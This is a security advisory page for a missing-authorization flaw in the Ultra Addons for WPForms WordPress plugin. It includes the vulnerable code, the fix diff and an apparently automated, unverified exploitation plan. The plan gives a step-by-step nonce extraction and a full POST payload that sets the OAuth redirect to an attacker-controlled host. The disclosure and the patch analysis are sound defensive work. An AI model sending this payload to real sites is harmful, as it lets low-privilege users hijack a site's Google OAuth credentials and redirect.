CVE-2026-39594

Ultra Addons for WPForms <= 1.0.11 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
1.0.12
Patched in
6d
Time to patch

Description

The Ultra Addons for WPForms plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.0.11. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.0.11
PublishedApril 16, 2026
Last updatedApril 21, 2026

What Changed in the Fix

Changes introduced in v1.0.12

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-39594 (Ultra Addons for WPForms) ## 1. Vulnerability Summary The **Ultra Addons for WPForms** plugin (versions <= 1.0.11) is vulnerable to **Missing Authorization** in its AJAX handlers. Specifically, the function `get_auth_url` registered via the `wp_ajax_uaw…

Show full research plan

Exploitation Research Plan: CVE-2026-39594 (Ultra Addons for WPForms)

1. Vulnerability Summary

The Ultra Addons for WPForms plugin (versions <= 1.0.11) is vulnerable to Missing Authorization in its AJAX handlers. Specifically, the function get_auth_url registered via the wp_ajax_uawpf_google_sheets_get_auth_url action fails to perform a capability check (e.g., current_user_can('manage_options')).

While it does perform a nonce check using check_ajax_referer( 'wpforms-admin', 'nonce' ), the wpforms-admin nonce is frequently available to any authenticated user with access to the WordPress admin dashboard (including Subscribers). This allows an attacker to update sensitive plugin options, specifically the Google Sheets API credentials (client_id, client_secret, and redirect_uri).

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: uawpf_google_sheets_get_auth_url
  • Vulnerable Parameter(s): client_id, client_secret, redirect_uri
  • Nonce Parameter: nonce (Action string: wpforms-admin)
  • Authentication Level: Subscriber or higher (Authenticated).
  • Precondition: The "Google Sheets" addon must be active (usually enabled by default or via the plugin's settings).

3. Code Flow

  1. Entry Point: The AJAX action is registered in app/Addons/GoogleSheets/Provider/Settings/PageIntegrations.php within the hooks() method:
    add_action( 'wp_ajax_uawpf_google_sheets_get_auth_url', [ $this, 'get_auth_url' ] );
    
  2. Nonce Verification: The get_auth_url() method begins by verifying a nonce:
    public function get_auth_url() {
        check_ajax_referer( 'wpforms-admin', 'nonce' );
        // ...
    
  3. Missing Authorization: There is no call to current_user_can(). Any user who can produce a valid wpforms-admin nonce can proceed.
  4. Sink: The function proceeds to update WordPress options directly from the $_POST array:
    $client_id     = sanitize_text_field( wp_unslash( $_POST['client_id'] ) );
    $client_secret = sanitize_text_field( wp_unslash( $_POST['client_secret'] ) );
    $redirect_url  = sanitize_text_field( rawurldecode( $_POST['redirect_uri'] ) );
    
    update_option( 'uawpf_gs_client_id', $client_id );
    update_option( 'uawpf_gs_client_secret', $client_secret );
    update_option( 'uawpf_gs_redirect_uri', $redirect_url );
    

4. Nonce Acquisition Strategy

The nonce action required is wpforms-admin. In WPForms, this nonce is globally enqueued for admin pages to support AJAX functionality.

  1. Role: Subscriber.
  2. Navigation: Navigate to a standard admin page accessible to Subscribers, such as /wp-admin/profile.php.
  3. Extraction: Use browser_eval to extract the nonce from the wpforms_admin global JavaScript object. WPForms localizes its strings and nonces into this object.
    • Command: browser_eval("window.wpforms_admin?.nonce")
  4. Fallback: If not found in window.wpforms_admin, check window.wpforms_settings?.nonce or search the page source for nonce.

5. Exploitation Strategy

  1. Login: Authenticate as a Subscriber user.
  2. Nonce: Extract the wpforms-admin nonce using the strategy above.
  3. Request: Send a POST request to admin-ajax.php to overwrite the Google Sheets credentials.

HTTP Request Details:

  • URL: http://<target>/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    action=uawpf_google_sheets_get_auth_url&nonce=[EXTRACTED_NONCE]&client_id=PWNED_CLIENT_ID&client_secret=PWNED_SECRET&redirect_uri=https://attacker-controlled.com/callback
    

6. Test Data Setup

  1. User: wp user create attacker attacker@example.com --role=subscriber --user_pass=password
  2. Plugin Setup: Ensure ultra-addons-for-wpforms and wpforms-lite are active.
  3. Optional: Navigate to the plugin settings as admin once to ensure the Google Sheets addon class is initialized (though the init and wp_ajax hooks should fire regardless).

7. Expected Results

  • Response: The server should return a JSON success response:
    {"success":true,"data":"https:\/\/accounts.google.com\/o\/oauth2\/v2\/auth?client_id=PWNED_CLIENT_ID&..."}
    
  • Side Effect: The database options uawpf_gs_client_id, uawpf_gs_client_secret, and uawpf_gs_redirect_uri will be updated with the attacker's values.

8. Verification Steps

After sending the AJAX request, verify the option values using WP-CLI:

wp option get uawpf_gs_client_id
wp option get uawpf_gs_client_secret
wp option get uawpf_gs_redirect_uri

Confirm they match PWNED_CLIENT_ID, PWNED_SECRET, and the provided redirect URI.

9. Alternative Approaches

The plugin also registers wp_ajax_ultrawpf_options_save in app/Admin/Options/Classes/ULTRAWPF_Settings.php.

add_action( 'wp_ajax_ultrawpf_options_save', array( $this, 'ultrawpf_ajax_save_options' ) );

This handler likely controls the main plugin settings (e.g., enabling/disabling addons). If the Google Sheets exploit fails, this endpoint should be audited for similar missing authorization, as it uses the ULTRAWPF_Settings framework which often lacks role-based access control in AJAX handlers. The nonce for this would likely be found in tf_opt or similar JS objects generated by the settings framework.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Ultra Addons for WPForms plugin for WordPress is vulnerable to unauthorized modification of settings due to a missing capability check on the get_auth_url function in versions up to 1.0.11. This allows authenticated attackers, including those with subscriber-level permissions, to update sensitive Google Sheets API credentials such as the Client ID and Client Secret.

Vulnerable Code

// app/Addons/GoogleSheets/Provider/Settings/PageIntegrations.php line 64
public function get_auth_url() {

    check_ajax_referer( 'wpforms-admin', 'nonce' );

    // Validate credentials.
    if ( empty( $_POST['client_id'] ) || empty( $_POST['client_secret'] ) ) {
        wp_send_json_error( __( 'Missing Client ID or Client Secret.', 'ultra-addons-for-wpforms' ), 400 );
    }

    // Sanitize inputs.
    $client_id     = sanitize_text_field( wp_unslash( $_POST['client_id'] ) );
    $client_secret = sanitize_text_field( wp_unslash( $_POST['client_secret'] ) );
    $redirect_url  = sanitize_text_field( rawurldecode( $_POST['redirect_uri'] ) );

    update_option( 'uawpf_gs_client_id', $client_id );
    update_option( 'uawpf_gs_client_secret', $client_secret );
    update_option( 'uawpf_gs_redirect_uri', $redirect_url );

    // ... (truncated)

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/ultra-addons-for-wpforms/1.0.11/app/Addons/GoogleSheets/Provider/Settings/PageIntegrations.php /home/deploy/wp-safety.org/data/plugin-versions/ultra-addons-for-wpforms/1.0.12/app/Addons/GoogleSheets/Provider/Settings/PageIntegrations.php
--- /home/deploy/wp-safety.org/data/plugin-versions/ultra-addons-for-wpforms/1.0.11/app/Addons/GoogleSheets/Provider/Settings/PageIntegrations.php	2026-01-16 13:03:36.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/ultra-addons-for-wpforms/1.0.12/app/Addons/GoogleSheets/Provider/Settings/PageIntegrations.php	2026-03-08 16:34:00.000000000 +0000
@@ -66,6 +66,9 @@
 
 		check_ajax_referer( 'wpforms-admin', 'nonce' );
 
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( __( 'You do not have sufficient permissions to access this page.', 'ultra-addons-for-wpforms' ), 403 );
+		}
 		// Validate credentials.
 		if ( empty( $_POST['client_id'] ) || empty( $_POST['client_secret'] ) ) {
 			wp_send_json_error( __( 'Missing Client ID or Client Secret.', 'ultra-addons-for-wpforms' ), 400 );
@@ -75,7 +78,21 @@
 		$client_id     = sanitize_text_field( wp_unslash( $_POST['client_id'] ) );
 		$client_secret = sanitize_text_field( wp_unslash( $_POST['client_secret'] ) );
 		$redirect_url  = sanitize_text_field( rawurldecode( $_POST['redirect_uri'] ) );
+		$allowed_domains = [ parse_url( home_url(), PHP_URL_HOST ) ];
+		$redirect_domain = parse_url( $redirect_url, PHP_URL_HOST );
+
+		// Enforce HTTPS
+		if ( parse_url( $redirect_url, PHP_URL_SCHEME ) !== 'https' ) {
+			wp_send_json_error(
+				__( 'OAuth requires HTTPS redirect URI.', 'ultra-addons-for-wpforms' ),
+				400
+			);
+		}
 
+		if ( ! in_array( $redirect_domain, $allowed_domains, true ) ) {
+			wp_send_json_error( 'Invalid redirect URI domain', 400 );
+		}
+		
 		update_option( 'uawpf_gs_client_id', $client_id );
 		update_option( 'uawpf_gs_client_secret', $client_secret );
 		update_option( 'uawpf_gs_redirect_uri', $redirect_url );

Exploit Outline

The exploit targets the AJAX action 'uawpf_google_sheets_get_auth_url'. An authenticated attacker with Subscriber-level access first obtains a valid 'wpforms-admin' nonce, which is typically localized in the global JavaScript object 'wpforms_admin' on standard admin pages like profile.php. The attacker then sends a POST request to admin-ajax.php containing the nonce and malicious values for 'client_id', 'client_secret', and 'redirect_uri'. Because the vulnerable function only checks the nonce and lacks a call to current_user_can('manage_options'), it proceeds to update the plugin's global options in the WordPress database with the attacker's values.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.